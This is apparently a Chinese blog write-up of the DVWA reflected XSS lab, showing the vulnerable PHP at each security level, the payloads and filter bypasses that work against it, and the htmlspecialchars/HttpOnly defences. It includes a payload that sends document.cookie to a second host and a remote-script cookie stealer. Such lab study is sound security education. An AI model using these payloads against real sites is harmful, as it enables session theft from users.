Loading... # 1、目标 基于白盒测试方法,完成反射型 XSS 利用。 ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2181336038.png) # 2、级别 Low 关键代码: ```php <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> ``` 关键信息: * 使用 header ("X-XSS-Protection: 0"); 关闭 xss 保护 * name 参数值被直接回显到页面中 header ("X-XSS-Protection: 0"); 是 http 协议支持的一个响应头扩展字段,现在主流浏览器都支持,默认开启。后台可以在响应头中通过 header ("X-XSS-Protection: 0"); 来指示关闭。 ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1778416764.png) 后面测试的时候设置 ("X-XSS-Protection: 1"); 但 xss 利用还是成功了,具体这个扩展字段是怎样发挥作用的,待继续研究…… 因为 name 参数被直接回显到页面,如果构造 name 参数为脚本代码,则该代码便会在前端得到执行,由此存在 xss 反射型利用漏洞。 # 2.1、简单 xss 验证 简单的 `<script></script>` 语句: ```js <script>alert("XSS")</script> ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3450468596.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3482596068.png) 利用 `<a>` 标签提供的 onlick 事件: ```js <a href='' onclick=alert('XSS')>click</a> ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2812062667.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1501321781.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1489704284.png) 利用 `<img>` 标签提供的 onerror 事件: ```js <img src=http://127.0.0.1/a.jpg onerror=alert('XSS')> ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/03/717680074.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3528267917.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/851391562.png) 重定向: ```js <script>window.location="http://127.0.0.1/dvwa/"</script> ``` # 2.2、泄露 cookie **简单弹框**: ```js <script>alert(document.cookie)</script> ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1457089484.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/4157173738.png) 这里能泄露 cookie 还有一个前提,是 cookie 里面 HttpOnly = false: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3710879462.png) 如果 HTTPOnly = true(后面 Impossible 级别有说明),即使脚本代码得到执行,读取得到的 cookie 也只能是空字符串: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3924804681.png) **对外泄露:** 在另一台机器监听 80 端口,然后利用如下 ```js <script>new Image().src="http://192.168.222.137/?cookie="+document.cookie;</script> ``` 此时另一台机器接收到 cookie: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3925608766.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/4222618572.png) **加载远程 js 脚本对外泄露:** 首先创建一个 js 脚本,作用是将 cookie 发送到指定服务器: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2242937195.png) 将该 js 放在 192.168.222.137 服务器,这里为了方便直接放在当前主机: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3614075878.png) XSS 利用代码: ```js <script src="http://127.0.0.1/dvwa/GetCookie.js"></script> ``` 服务器接收到 cookie: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/4237059416.png) ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2543044303.png) --- 总之,后台没有对回显内容做任何过滤,只要回显内容得到执行则 xss 利用成功。 # 3、级别 Medium 关键代码: ```php <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?> ``` 相较于 Low 级别改动在: * 使用 str_replace 替换所有的`<script>` 字符串 如依然使用: ```js <script>alert("XSS")</script> ``` 则响应页面如下所示,`<script>` 不闭合,脚本得不到执行: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3239614268.png) 想法很直接,但存在以下问题: * str_replace 是大小写敏感的,而 html 中`<script>` 标签是大小写不敏感的(html4.0 前不敏感,xhtml 规定为小写) * 替换完`<script>` 的语句可以重新组合得到新的`<script>` * 除了`<script>` 还有其它标签也能执行代码 ## 3.1、大小写绕过 ```js <Script>alert("XSS")</script> ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3147138554.png) ## 3.2、重新组合绕过 ```js <scr<script>ipt>alert("XSS")</script> ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2265728031.png) ## 3.3、使用非 `<script>` 标签 如上述 Low 级别中的 `<a>`、`<img>` 等标签的事件处理器。 # 4、级别 High 关键代码: ```php <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?> ``` 相较于级别 Medium 改动为: * 将 str_replace 换做 preg_replace,做正则查询替换 在正则模式 `'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'` 中,/i 指示忽略大小写,因此大小写绕过不可用了。而 (.*) 的通配则意味着在替换后不可能组合得到一个 `<script>`,因此组合绕过也不可用了。 如上述组合绕过的代码,命中了模式 `'/<scr(.*)ipt'`: ```js <scr<script>ipt>alert("XSS")</script> ``` 因此响应页面如下,xss攻击失败: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1527078384.png) 虽然 `<script>` 已经不可利用,但这段代码依然没有过滤非 `<script>` 标签。 # 5、级别 Impossible 关键代码: ```php <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 相较于级别 High 改动为: * 增加了 token 对抗 CSRF * 将 preg_replace() 换做 htmlspecialchars() * setcookie( HttpOnly ) setcookie( HttpOnly ) 在上述代码没有体现,它其实是在更改级别为 Impossible 时设置的,设置后 cookie 便无法通过类似 javascript 这样的脚本语言访问: ```php function dvwaSecurityLevelSet( $pSecurityLevel ) { if( $pSecurityLevel == 'impossible' ) { $httponly = true; } else { $httponly = false; } setcookie( session_name(), session_id(), null, '/', null, null, $httponly ); setcookie( 'security', $pSecurityLevel, NULL, NULL, NULL, NULL, $httponly ); } ``` htmlspecialchars() 用于将以下字符转换为 HTML 实体: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1808927379.png) 如输入: ```php <script>alert("XSS")</script> ``` 则浏览器渲染页面为: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2720461791.png) 而页面源代码为: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2841297555.png) 这里的核心点在于,HTML 源代码中出现的 HTML 实体,如 <,HTML 解析器不会认为它是字符 <,因此无法组成 `<script>` 标签,但浏览器渲染页面时会将其显示为字符 <。从而达成目的,用户输入什么则看到的就是什么,同时不存在数据执行风险。 上述 xss 利用手法中,无论是 `<script>` 标签还是 `<a>`、`<img>` 等标签,都在 htmlspecialchars 转换范围内,因此可彻底防护 xss 攻击。 要注意的是,htmlspecialchars 可以通过参数设置转换的字符集,如果只转换部分字符,那么依然可能会存在绕过风险,具体设置哪些字符,要看具体场景风险而定。 # 6、总结 反射型 xss 攻击通过将数据注入到页面中执行以完成攻击,特点是注入是非持久性的。防御思路主要为去除可能被识别为脚本执行的相关数据,有如下方法: * 使用 htmlspecialchars 等相关函数将注入数据中的特殊字符转换为 HTML 实体 * 使用 str_replace 或 preg_replace 等字符串替换函数,替换敏感字符串 --- 参考: https://www.cnblogs.com/yuzly/p/10692449.html 最后修改:2022 年 03 月 23 日 01 : 19 AM © 允许规范转载